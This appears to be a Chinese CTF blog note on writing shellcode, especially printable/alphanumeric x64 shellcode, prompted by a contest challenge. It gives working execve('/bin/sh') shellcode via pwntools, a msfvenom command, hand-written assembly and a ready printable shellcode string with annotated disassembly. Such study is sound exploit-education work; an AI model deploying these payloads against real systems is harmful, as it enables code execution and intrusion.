国赛的时候一道一个要你写shellcode的题目,但是这个shellcode不是一般的shellcode,必须是可打印字符串的shellcode,有被恶心到。
于是想总结一下各自shellcode的编写技巧
自动生成shellcode(x32/x64)
自动生成shellcode可以利用pwntools里的shellcode生成工具。
from pwn import *
context.arch = 'amd64' # 设定架构
shellcode = asm(shellcraft.sh()) #生成shellcode
但是这种生成的shellcode比较长,也无法满足一些特定shellcode的需求。所以我们需要手动编写
metasploit alphanumeric/printable shellcode(x32)
https://www.anquanke.com/post/id/85871
可以用metasploit自动生成可打印的shellcode
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed BufferRegister=ECX -f python
其中bufferregister这个选项是重要的,取决你的shellcode由那个寄存器调用。
手写shellcode(x64)
shellcode的原理都是通过系统调用进行 exec(“/bin/sh”)
系统调用可以参考下面的链接
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
from pwn import *
context.arch = 'amd64'
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)
alphanumeric/printable shellcode(x64)
以下是一些可打印字符串对应的汇编指令代码
利用可打印字符串的核心思想是异或,通过异或得到我们想要的内容。
0x50: push rax
0x51: push rcx
0x52: push rdx
0x53: push rbx
0x54: push rsp
0x55: push rbp
0x56: push rsi
0x57: push rdi
0x4150: push r8
0x4151: push r9
0x4152: push r10
0x4153: push r11
0x4154: push r12
0x4155: push r13
0x4156: push r14
0x4157: push r15
0x58: pop rax
0x59: pop rcx
0x5a: pop rdx
0x4158: pop r8
0x4159: pop r9
0x415a: pop r10
0x34XX: xor al, imm8
0x35XXYY: xor ax, imm16
0x35XXYYZZWW: xor eax, imm32
0x6aXX: push imm8
0x68XXYYZZWW: push imm32
xor DWORD PTR [r64 + imm8], r32
这里列一个比较常用的shellcode
PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA
含义
/* from call rax */
push rax /*可以根据调用的寄存器来更好前面2个字母*/
push rax
pop rcx
/* XOR pop rsi, pop rdi, syscall */
push 0x41413030
pop rax
xor DWORD PTR [rcx+0x30], eax
/* XOR /bin/sh */
push 0x34303041
pop rax
xor DWORD PTR [rcx+0x34], eax
push 0x41303041
pop rax
xor DWORD PTR [rcx+0x38], eax
/* rdi = &'/bin/sh' */
push rcx
pop rax
xor al, 0x34
push rax
/* rdx = 0 */
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx
push rax
/* rax = 59 (SYS_execve) */
push 0x41
pop rax
xor al, 0x7a
/* pop rsi, pop rdi*/
/* syscall */
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44
/* /bin/sh */
.byte 0x6e
.byte 0x52
.byte 0x59
.byte 0x5a
.byte 0x6e
.byte 0x43
.byte 0x5a
.byte 0x41